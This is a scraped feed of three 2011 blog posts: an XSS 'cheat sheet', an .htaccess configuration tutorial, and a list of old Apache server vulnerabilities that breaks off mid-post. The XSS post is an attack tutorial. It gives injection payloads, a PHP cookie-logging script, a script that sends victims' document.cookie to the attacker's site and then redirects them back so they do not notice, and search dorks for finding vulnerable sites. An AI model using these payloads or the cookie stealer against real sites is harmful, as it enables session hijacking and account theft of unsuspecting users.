XSS cheat sheet

12/02/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6EdeQi9ETgI42fZ4kls4ni867ROiNB5N22o0sDG3nk_P_X9dvjx_dhAnIeoWkpMNLKUV9mHsBAg94MIK7uyXKurlxp5OT87jo_QoYG56QxClr2FuDJloiC6rDyObG92ZWsdQImNXy2MF/s1600/xss-threat3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip6EdeQi9ETgI42fZ4kls4ni867ROiNB5N22o0sDG3nk_P_X9dvjx_dhAnIeoWkpMNLKUV9mHsBAg94MIK7uyXKurlxp5OT87jo_QoYG56QxClr2FuDJloiC6rDyObG92ZWsdQImNXy2MF/s1600/xss-threat3.jpg" /></a></div><br />
Before we start <span style="color: mediumblue;">what is XSS?</span> let's come to basic !! hmm what is <span style="color: darkgreen;">cookie</span> , don't say something like eating stuff.<br />
<span style="color: darkgreen;"><span style="font-weight: bold;">COOKIE</span></span>: <br />
<div class="define border-fade">A cookie is the variable that web-browsers use to store your login  credentials. Without a cookie, you cannot "stay logged in" on websites.</div><span style="color: purple;"><span style="font-weight: bold;">CROSS SITE SCRIPTING</span></span>: <br />
<div class="define border-fade">Cross-Site Scripting is the process of injecting JavaScript (mainly) and also HTML into a webpage.</div><br />
SOME POINTS ON XSS :<br />
<blockquote>@ -XSS attacks almost always focus upon sites which use cookies for storing our username and password.<br />
@-XSS is used to harm the website (may be defacing ).</blockquote><span style="font-style: italic;">tRAdiTIOnAL Type$</span>: <span style="color: mediumblue;">type0</span> , <span style="color: darkslateblue;">type1</span>, <span style="color: mediumvioletred;">type2</span><br />
<span style="color: mediumblue;">type 0 =DOM-based</span>:<br />
<br />
<div class="spoiler_body" style="display: block;">DOM-based  is an XSS attack wherein the attack payload is executed as a result of  modifying the DOM “environment” in the slave’s browser used by the  original client side script, so that the client side code runs in an  “unexpected” manner. That is, the page itself (the HTTP response that  is) does not change, but the client side code contained in the page  executes differently due to the malicious modifications that have  occurred in the DOM environment.</div><br />
<span style="color: darkslateblue;">type 1 = Non Persistence</span> :<br />
<br />
<div class="spoiler_body" style="display: block;">It  means that the injected code is not permanent and is for small time  till the user is on page or having the url with malicious code.</div><span style="color: mediumvioletred;">type 2 = Persistence</span> :<br />
<br />
<div class="spoiler_body" style="display: block;">It means that the injected code is permanent and will stay on the site and output can be seen by any user of site.</div><br />
Now the question is how to check whether the site is xss vulnerable or not ?<br />
There are two methods to check this:<br />
<br />
<h3>1.POST:: </h3><a href="http://www.target.com/search.php" target="_blank">http://www.target.com/search.php</a> ( we put malacious code in search engine)<br />
<div class="program glow"><pre><code class="prettyprint"><script>alert(“xss”);</script></code></pre></div><br />
<h3>2.GET :</h3><div class="heightlight">http://www.target.com/search=<script>alert(</a>"xss");</script></div>We directly put the script in url of browser<br />
<br />
<span style="color: mediumvioletred;"> </span>what else we can do ..??<br />
--><span style="text-decoration: underline;">Insert image</span>:<br />
<div class="program glow"><pre><code class="prettyprint"><img src=“url of the image”></img></code></pre></div>--><span style="text-decoration: underline;">Insert message</span>:<br />
<div class="program glow"><code class="prettyprint"><b>this is hacked </b></code></div>--><span style="text-decoration: underline;">Redirect to your page</span> :<br />
<div class="program glow"><code class="prettyprint"><script>window.open( "http://www.yoursite.com/" )</script></code></div><br />
But main aim of xss is to steal cookies so here is cookie stealing.<br />
COOKIE STEALING TUTORIAL:<br />
<div class="program glow"><code class="prettyprint"><br />
<?php<br />
<br />
function GetIP()<br />
{<br />
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))<br />
        $ip = getenv("HTTP_CLIENT_IP");<br />
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))<br />
        $ip = getenv("HTTP_X_FORWARDED_FOR");<br />
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))<br />
        $ip = getenv("REMOTE_ADDR");<br />
    else if (isset($_SERVER['REMOTE_ADDR']) &&  $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],  "unknown"))<br />
        $ip = $_SERVER['REMOTE_ADDR'];<br />
    else<br />
        $ip = "unknown";<br />
    return($ip);<br />
}<br />
<br />
function logData()<br />
{<br />
    $ipLog="log.txt";<br />
    $cookie = $_SERVER['QUERY_STRING'];<br />
    $register_globals = (bool) ini_get('register_gobals');<br />
    if ($register_globals) $ip = getenv('REMOTE_ADDR');<br />
    else $ip = GetIP();<br />
<br />
    $rem_port = $_SERVER['REMOTE_PORT'];<br />
    $user_agent = $_SERVER['HTTP_USER_AGENT'];<br />
    $rqst_method = $_SERVER['METHOD'];<br />
    $rem_host = $_SERVER['REMOTE_HOST'];<br />
    $referer = $_SERVER['HTTP_REFERER'];<br />
    $date=date ("l dS of F Y h:i:s A");<br />
    $log=fopen("$ipLog", "a+");<br />
<br />
    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))<br />
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : }  $date | COOKIE:  $cookie <br>");<br />
    else<br />
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host  |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE:  $date | COOKIE:  $cookie \n\n");<br />
    fclose($log);<br />
}<br />
<br />
logData();<br />
<br />
?></code></div><br />
now how to use this code???<br />
This is done by three-step process consisting of the injected script, the cookie recorder, and the log file.<br />
<br />
First you'll need to get an account on a server and create two files,  log.txt and giveyourname.php. You can leave log.txt empty. This is the  file your cookie stealer will write to. Now paste this php code into  your cookie stealer script (give your name.php) [code metion above].<br />
above script will record the cookies of every user that views it.<br />
<div class="program glow"><pre><code class="prettyprint"><script language=  "JavaScript">
document.location="http://yoursite.com/giveyourname.php?cookie="  +  document.cookie;document.location="http://www.whateversite.com"
</script>
</code></pre></div>now above code is injected to the xss vulnerable site page via get or post method: what does this code do??<br />
The above code redirects the viewer to your script, which records their  cookie to your log file. It then redirects the viewer back to the  unmodified search page so they don't know anything happened.<br />
<br />
<br />
If this code works then you'll automatically gets the cookie in  yoursite, other wise you have to do some hard work !! grab the link  which you get after the insertion of above script. And manually get  someone to use that link if necessary. o0ps all s done at this point.<br />
<br />
##All you need to do now is go to your website and check the<span style="color: maroon;"><span style="font-weight: bold;"> log file</span></span><br />
<br />
YOU CAN TRY TO LOOK HERE =<br />
<div class="content shadow-radial">SEARCH BOX<br />
SHOUT BOX<br />
BLOGS<br />
COMMENT BOX<br />
LOGIN BOX<br />
FEEDBACK FORMS</div><br />
Hey there are still so many xss vulnerable sites , the thing is you should spent maximum time on internet in search for them:<br />
here are few dorks for you:<br />
<div class="content shadow-radial">inurl:search.php?q=<br />
inurl:com_feedpostold/feedpost.php?url=<br />
inurl:scrapbook.php?id=<br />
inurl:headersearch.php?sid=<br />
inurl:/poll/default.asp?catid=<br />
inurl:/search_results.php?search=<br />
/preaspjobboard//Employee/emp_login.asp?msg1=<br />
pages/match_report.php?mid= pages/match_report.php?mid=<br />
inurl:?msg=</div></div>

Before we start what is XSS? let's come to basic !! hmm what is cookie , don't say something like eating stuff. COOKIE : A cook...

.htaccess Tutorial

12/01/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoUzVQuiQnyEvjAegmfFGI4ynoH_7lHJki6aEwr8O4uiWze5AcKjDD-5rI3n7Yv_Vo14c6NMaICeO3LfLgTMIcZwCM5cEdKm_x1SWSjWvtd6w5hjtgszTWGb_Bm3cAMmb4xYzhaLmKzx4t/s1600/htaccess.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoUzVQuiQnyEvjAegmfFGI4ynoH_7lHJki6aEwr8O4uiWze5AcKjDD-5rI3n7Yv_Vo14c6NMaICeO3LfLgTMIcZwCM5cEdKm_x1SWSjWvtd6w5hjtgszTWGb_Bm3cAMmb4xYzhaLmKzx4t/s1600/htaccess.gif" /></a></div>
<br />
<ul>
<li>Part 1 - Introduction</li>
<li><a href="http://rah-labs.blogspot.com/2011/12/htaccess-tutorial.html#Part2" target="">Part 2 - .htaccess Commands</a></li>
<li><a href="http://rah-labs.blogspot.com/2011/12/htaccess-tutorial.html#Part3" target="">Part 3 - Password Protection</a></li>
</ul>
<br />
<h3>
Introduction</h3>
<br />
In this tutorial you will find out about the .htaccess file and the  power it has to improve your website. Although .htaccess is only a file,  it can change settings on the servers and allow you to do many  different things, the most popular being able to have your own custom  404 error pages. .htaccess isn't difficult to use and is really just  made up of a few simple instructions in a text file.<br />
<br />
<h3 style="color: #000099;">
Will My Host Support It?</h3>
<br />
This is probably the hardest question to give a simple answer to. Many  hosts support .htaccess but don't actually publicise it and many other  hosts have the capability but do not allow their users to have a  .htaccess file. As a general rule, if your server runs Unix or Linux, or  any version of the Apache web server it will support .htaccess,  although your host may not allow you to use it.<br />
<br />
A good sign of whether your host allows .htaccess files is if they  support password protection of folders. To do this they will need to  offer .htaccess (although in a few cases they will offer password  protection but not let you use .htaccess). The best thing to do if you  are unsure is to either upload your own .htaccess file and see if it  works or e-mail your web host and ask them.<br />
<br />
<h3 style="color: #000099;">
What Can I Do?</h3>
<br />
You may be wondering what .htaccess can do, or you may have read about  some of its uses but don't realise how many things you can actually do  with it.<br />
<br />
There is a huge range of things .htaccess can do including: password  protecting folders, redirecting users automatically, custom error pages,  changing your file extensions, banning users with certian IP addresses,  only allowing users with certain IP addresses, stopping directory  listings and using a different file as the index file.<br />
<br />
<h3 style="color: #000099;">
Creating A .htaccess File</h3>
<br />
Creating a .htaccess file may cause you a few problems. Writing the file  is easy, you just need enter the appropriate code into a text editor  (like notepad). You may run into problems with saving the file. Because  .htaccess is a strange file name (the file actually has no name but a 8  letter file extension) it may not be accepted on certain systems (e.g.  Windows 3.1). With most operating systems, though, all you need to do is  to save the file by entering the name as:<br />
<span style="color: blue; font-family: "arial";">".htaccess"</span> (including the quotes). If this doesn't work, you will need to name it  something else (e.g. htaccess.txt) and then upload it to the server.  Once you have uploaded the file you can then rename it using an FTP  program.<br />
<br />
<h3 style="color: #000099;">
Warning</h3>
<br />
Before beginning using .htaccess, I should give you one warning.  Although using .htaccess on your server is extremely unlikely to cause  you any problems (if something is wrong it simply won't work), you  should be wary if you are using the Microsoft FrontPage Extensions. The  FrontPage extensions use the .htaccess file so you should not really  edit it to add your own information. If you do want to (this is not  recommended, but possible) you should download the .htaccess file from  your server first (if it exists) and then add your code to the  beginning.<br />
<br />
<h3 style="color: #000099;">
Custom Error Pages</h3>
<br />
The first use of the .htaccess file which I will cover is custom error  pages. These will allow you to have your own, personal error pages (for  example when a file is not found) instead of using your host's error  pages or having no page. This will make your site seem much more  professional in the unlikely event of an error. It will also allow you  to create scripts to notify you if there is an error (for example I use a  PHP script on Free Webmaster Help to automatically e-mail me when a  page is not found).<br />
<br />
You can use custom error pages for any error as long as you know its  number (like 404 for page not found) by adding the following to your  .htaccess file:<br />
<div class="content shadow-radial">
ErrorDocument errornumber /file.html</div>
<br />
For example if I had the file notfound.html in the root directory of my site and I wanted to use it for a 404 error I would use:<br />
<div class="content shadow-radial">
ErrorDocument 404 /notfound.html</div>
<br />
If the file is not in the root directory of your site, you just need to put the path to it:<br />
<div class="content shadow-radial">
ErrorDocument 500 /errorpages/500.html</div>
<br />
These are some of the most common errors:<br />
<div class="content shadow-radial">
401 - Authorization Required<br />
400 - Bad request<br />
403 - Forbidden<br />
500 - Internal Server Error<br />
404 - Wrong page</div>
<br />
Then, all you need to do is to create a file to display when the error happens and upload it and the .htaccess file.<br />
<br />
<h3 style="border: none;">
<a href="https://www.blogger.com/null" name="Part2"></a>Part 2 - .htaccess Commands</h3>
<br />
<h3 style="color: #000099;">
Introduction</h3>
<br />
In the last part I introduced you to .htaccess and some of its useful  features. In this part I will show you how to use the .htaccess file to  implement some of these.<br />
<br />
<h3 style="color: #000099;">
Stop A Directory Index From Being Shown</h3>
<br />
Sometimes, for one reason or another, you will have no index file in  your directory. This will, of course, mean that if someone types the  directory name into their browser, a full listing of all the files in  that directory will be shown. This could be a security risk for your  site.<br />
<br />
To prevent against this (without creating lots of new 'index' files, you  can enter a command into your .htaccess file to stop the directory list  from being shown:<br />
<div class="system">
Options -Indexes </div>
<br />
<h3 style="color: #000099;">
Deny/Allow Certian IP Addresses</h3>
In some situations, you may want to only allow people with specific IP  addresses to access your site (for example, only allowing people using a  particular ISP to get into a certian directory) or you may want to ban  certian IP addresses (for example, keeping disruptive memembers out of  your message boards). Of course, this will only work if you know the IP  addresses you want to ban and, as most people on the internet now have a  dynamic IP address, so this is not always the best way to limit usage.<br />
<br />
You can block an IP address by using: <br />
<div class="system pop">
deny from 000.000.000.000</div>
  where <br />
<div class="highlight">
000.000.000.000</div>
is the IP address. If you only specify 1 or 2 of the groups of numbers, you will block a whole range.<br />
<br />
You can allow an IP address by using: <br />
<div class="system pop">
allow from 000.000.000.000</div>
  where <br />
<div class="highlight">
000.000.000.000</div>
is the IP address. If you only specify 1 or 2 of the groups of numbers, you will allow a whole range.<br />
<br />
If you want to deny everyone from accessing a directory, you can use:<br />
<div class="system pop">
deny from all</div>
 but this will still allow scripts to use the files in the directory.<br />
<br />
<h3 style="color: #000099;">
Alternative Index Files</h3>
<br />
You may not always want to use index.htm or index.html as your index  file for a directory, for example if you are using PHP files in your  site, you may want index.php to be the index file for a directory. You  are not limited to 'index' files though. Using .htaccess you can set  foofoo.blah to be your index file if you want to!<br />
<br />
Alternate index files are entered in a list. The server will work from  left to right, checking to see if each file exists, if none of them  exisit it will display a directory listing (unless, of course, you have  turned this off).<br />
<br />
<div class="content shadow-radial">
DirectoryIndex index.php index.php3 <a href="http://messagebrd.pl/" target="_blank">messagebrd.pl</a> index.html index.htm</div>
<br />
<br />
<h3 style="color: #000099;">
Redirection</h3>
<br />
One of the most useful functions of the .htaccess file is to redirect  requests to different files, either on the same server, or on a  completely different web site. It can be extremely useful if you change  the name of one of your files but allow users to still find it. Another  use (which I find very useful) is to redirect to a longer URL, for  example in my newsletters I can use a very short URL for my affiliate  links. The following can be done to redirect a specific file:<br />
<div class="content shadow-radial">
Redirect /location/from/root/file.ext <a href="http://www.othersite.com/new/file/location.xyz" target="_blank">http://www.othersite.com/new/file/location.xyz</a></div>
<br />
<br />
In this above example, a file in the root directory called oldfile.html would be entered as:<br />
<div class="content shadow-radial">
/oldfile.html  and a file in the old subdirectory would be entered as:  /old/oldfile.html</div>
<br />
You can also redirect whole directoires of your site using the .htaccess  file, for example if you had a directory called olddirectory on your  site and you had set up the same files on a new site at:  <a href="http://www.newsite.com/newdirectory/" target="_blank">http://www.newsite.com/newdirectory/</a> you could redirect all the files in  that directory without having to specify each one:<br />
<div class="content shadow-radial">
Redirect /olddirectory <a href="http://www.newsite.com/newdirectory" target="_blank">http://www.newsite.com/newdirectory</a></div>
<br />
Then, any request to your site below /olddirectory will bee redirected to the new site, with the extra information in the URL added on, for example if someone typed in:<br />
<br />
<span class="system pop"><a href="http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif" target="_blank">http://www.youroldsite.com/olddirecotry/oldfiles/images/image.gif</a></span><br />
They would be redirected to:<br />
<span class="system pop"><br />
<a href="http://www.newsite.com/newdirectory/oldfiles/images/image.gif" target="_blank">http://www.newsite.com/newdirectory/oldfiles/images/image.gif</a></span><br />
This can prove to be extremely powerful if used correctly.<br />
<br />
<h3 style="border: none;">
<a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Part3"></a>Part 3 - Password Protection</h3>
<br />
<h3 style="color: #000099;">
Introduction</h3>
<br />
Although there are many uses of the .htaccess file, by far the most  popular, and probably most useful, is being able to relaibly password  protect directories on websites. Although JavaScript etc. can also be  used to do this, only .htaccess has total security (as someone must know  the password to get into the directory, there are no 'back doors')<br />
<br />
<h3 style="color: #000099;">
The .htaccess File</h3>
<br />
Adding password protection to a directory using .htaccess takes two  stages. The first part is to add the appropriate lines to your .htaccess  file in the directory you would like to protect. Everything below this  directory will be password protected:<br />
<div class="content shadow-radial">
AuthName "Section Name"<br />
AuthType Basic<br />
AuthUserFile /full/path/to/.htpasswd<br />
Require valid-user</div>
<br />
There are a few parts of this which you will need to change for your  site. You should replace "Section Name" with the name of the part of the  site you are protecting e.g. "Members Area".<br />
<br />
The /full/parth/to/.htpasswd should be changed to reflect the full  server path to the .htpasswd file (more on this later). If you do not  know what the full path to your webspace is, contact your system  administrator for details.<br />
<br />
<h3 style="color: #000099;">
The .htpasswd File</h3>
<br />
Password protecting a directory takes a little more work than any of the  other .htaccess functions because you must also create a file to  contain the usernames and passwords which are allowed to access the  site. These should be placed in a file which (by default) should be  called .htpasswd. Like the .htaccess file, this is a file with no name  and an 8 letter extension. This can be placed anywhere within you  website (as the passwords are encrypted) but it is advisable to store it  outside the web root so that it is impossible to access it from the  web.<br />
<br />
<h3 style="color: #000099;">
Entering Usernames And Passwords</h3>
<br />
Once you have created your .htpasswd file (you can do this in a standard  text editor) you must enter the usernames and passwords to access the  site. They should be entered as follows:<br />
<div class="content shadow-radial">
username:password</div>
where the password is the encrypted format of the password. To encrypt  the password you will either need to use one of the premade scripts  available on the web or write your own. There is a good  username/password service at the KxS site which will allow you to enter  the user name and password and will output it in the correct format.<br />
<br />
For multiple users, just add extra lines to your .htpasswd file in the  same format as the first. There are even scripts available for free  which will manage the .htpasswd file and will allow automatic  adding/removing of users etc.<br />
<br />
<h3 style="color: #000099;">
Accessing The Site</h3>
<br />
When you try to access a site which has been protected by .htaccess your  browser will pop up a standard username/password dialog box. If you  don't like this, there are certain scripts available which allow you to  embed a username/password box in a website to do the authentication. You  can also send the username and password (unencrypted) in the URL as  follows:<br />
<span style="color: blue;"><br />
<a href="http://www.website.com/directory/" target="_blank">http://username:password@www.website.com/directory/</a><br />
</span><br />
<h3 style="color: #000099;">
Summary</h3>
<br />
.htaccess is one of the most useful files a webmaster can use. There are  a wide variety of different uses for it which can save time and  increase security on your website.</div>

Apache Hosting htaccess Linux Linux Tutorials OS Server .htaccess Tutorial

Part 1 - Introduction Part 2 - .htaccess Commands Part 3 - Password Protection Introduction In this tutorial you will find out ...

Hack Apache based Web Servers

11/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBvCx-rmtWhaBWR7HocptgDvTugMFlLWJqKKU-dxLrqom7lEgGqVrEPKLF8rMK7pX8pWGjl-YncFF7zftBqzd8P0_8-k7pOZqtSIxm0nWSoMlBvhpMDjpIdJpW8Utt3aU01_WLiuTPNFAE/s1600/apache_vulnerability_dos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBvCx-rmtWhaBWR7HocptgDvTugMFlLWJqKKU-dxLrqom7lEgGqVrEPKLF8rMK7pX8pWGjl-YncFF7zftBqzd8P0_8-k7pOZqtSIxm0nWSoMlBvhpMDjpIdJpW8Utt3aU01_WLiuTPNFAE/s1600/apache_vulnerability_dos.png" /></a></span></div>
<h3 class="post-title entry-title" style="color: #444444; font-family: "Arial", "Tahoma", "Helvetica", "FreeSans", sans-serif; font-size: 22px; font-style: normal; font-variant: normal; font-weight: 700; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; position: relative;">
</h3>
<h3 class="post-title entry-title" style="color: #444444; font-family: "Arial", "Tahoma", "Helvetica", "FreeSans", sans-serif; font-size: 22px; font-style: normal; font-variant: normal; font-weight: 700; line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; position: relative;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;">Apache Vulnerability: Hack Apache based Web Servers</span></h3>
<div class="post-header" style="line-height: 1.6; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"></span></span><br />
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><span class="sidebar-title"><b></b></span></span></span><br />
<center>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><span class="sidebar-title"><b>Apache Vulnerability</b></span></span></span></center>
<br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><br /></span></span>
<br />
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-color: transparent; border-bottom-style: none; border-bottom-width: 1px; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">  <div class="first-para">
The Apache Week tracks the vulnerabilities in Apache Server. Even Apache  has its share of bugs and fixes.</div>
</span></span></li>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">
<li class="listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-color: rgb(238, 238, 238); border-top-style: none; border-top-width: 1px; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
For instance, consider the vulnerability which was found in the Win32 port of Apache 1.3.20.</div>
<ul class="simple-list" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
Long URLs passing through the mod_negative, mod_dir and mode_autoindex modules could cause Apache to list directory contents.</div>
</li>
</ul>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-color: transparent; border-bottom-style: none; border-bottom-width: 1px; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
The concept is simple but requires a few trial runs.</div>
</li>
<li class="listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-color: rgb(238, 238, 238); border-top-style: none; border-top-width: 1px; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
A URL with a large number of trailing slashes:</div>
<ul class="simple-list" style="line-height: 1.4; list-style-type: disc; margin-bottom: 0.5em; margin-left: 0px; margin-right: 0px; margin-top: 0.5em; padding-bottom: 0px; padding-left: 2.5em; padding-right: 2.5em; padding-top: 0px;">
<li class="first-listitem" style="border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: #444444; margin-bottom: 0.25em; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.25em; padding-left: 0px; padding-right: 0px; padding-top: 0.25em; text-indent: 0px;">  <div class="first-para">
/cgi-bin /////////////////////////// / could produce directory listing of the original directory.</div>
</li>
</ul>
</li>
</ul>
</li>
</span></span></ul>
</div>
<table border="0" cellpadding="0" cellspacing="0" class="BlankSpace"><tbody>
<tr><td height="16"></td></tr>
</tbody></table>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">The purpose of discussing the various vulnerabilities of the web server here is to highlight how ingenious attackers can be in exploring the functionality of the various components that they are able to elicit an unexpected and previously unknown behavior of a piece of code. No matter how insignificant it is, a security breach can have far reaching implications if left unattended.</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">This is not the only issue in focus. The possibility of eliminating flawed coding practices and incorporating proper testing must not be ignored as security measures.</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231">The Apache Week tracks the vulnerabilities in Apache Server. For instance, consider the vulnerability which was found in the Win32 port of Apache 1.3.20. Because of this, a client submitting a very long URI could cause a directory listing to be returned rather than the default index page. This was subsequently fixed in Apache httpd 1.3.22</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><br /></span></span></div>
<table border="0" cellpadding="0" cellspacing="0" class="note"><tbody>
<tr><td class="admon-check" valign="top"></td><td class="admon-title" valign="top" width="56"><b>Threat</b></td><td class="admon-body" valign="top"><div class="first-para">
<b>Some of the other vulnerabilities have been:</b></div>
</td></tr>
</tbody></table>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Remote DoS via IPv6</i>: When a client requests that proxy ftp connect to an ftp server with IPv6 address, and the proxy is unable to create an IPv6 socket, an infinite loop occurs causing a remote Denial of Service. This has been fixed in Apache httpd 2.0.47</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Remote DoS with multiple Listen directives</i>: In a server with multiple listening sockets a certain error returned by accept () on a rarely access port can cause a temporary denial of service, due to a bug in the prefork MPM. This has been fixed in Apache httpd 2.0.47</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">APR remote crash</i>: A vulnerability in the apr_psprintf function in the Apache Portable Runtime (APR) library allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via long strings, as demonstrated using XML objects to mod_dav, and possibly other vectors. This has been fixed in Apache httpd 2.0.46</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Basic Authentication DoS</i>: A build system problem in Apache 2.0.40 through 2.0.45 allows remote attackers to cause a denial of access to authenticated content when a threaded server is used. This has been fixed in Apache httpd 2.0.46</span></span></div>
<div class="para">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="6923457550510159231"><i class="emphasis">Line feed memory leak DoS</i>: Apache 2.0 versions before Apache 2.0.45 have a significant Denial of Service vulnerability. Remote attackers can cause a denial of service (memory consumption) via large chunks of linefeed characters, which causes Apache to allocate 80 bytes for each linefeed. This has been fixed in Apache httpd 2.0.45</span></span></div>
<div class="para">
